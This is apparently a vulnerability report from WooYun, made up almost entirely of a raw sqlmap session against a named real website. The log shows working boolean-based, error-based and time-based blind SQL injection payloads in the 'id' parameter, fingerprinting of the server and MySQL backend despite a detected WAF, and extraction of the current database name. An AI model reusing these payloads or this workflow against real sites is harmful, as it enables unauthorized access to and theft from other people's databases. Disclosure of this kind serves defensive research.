WooYun.org

C:\Python27\sqlmap>sqlmap.py -r C:\Users\wjl\Desktop\新建文本文档.txt -p "id" --
current-db
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150609}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:22:27
[17:22:27] [INFO] parsing HTTP request from 'C:\Users\wjl\Desktop\新建文本文档.t
xt'
[17:22:27] [INFO] resuming back-end DBMS 'mysql'
[17:22:27] [INFO] testing connection to the target URL
you provided a HTTP Cookie header value. The target URL provided its own cookies
 within the HTTP Set-Cookie header which intersect with yours. Do you want to me
rge them in futher requests? [Y/n]
[17:22:29] [INFO] heuristics detected web page charset 'ascii'
[17:22:29] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3283 AND 9558=9558
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: id=3283 AND (SELECT 2836 FROM(SELECT COUNT(*),CONCAT(0x717a6a7171,(
SELECT (ELT(2836=2836,1))),0x7176706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHE
MA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=3283 AND (SELECT * FROM (SELECT(SLEEP(5)))gYlP)
---
[17:22:30] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2000 or 7
web application technology: Apache 2.0.54, PHP 5.2.17
back-end DBMS: MySQL 5.0
[17:22:30] [INFO] fetching current database
[17:22:31] [WARNING] reflective value(s) found and filtering out
[17:22:31] [INFO] retrieved: zmobile
current database:    'zmobile'
[17:22:31] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[17:22:31] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\www.cetools.cn'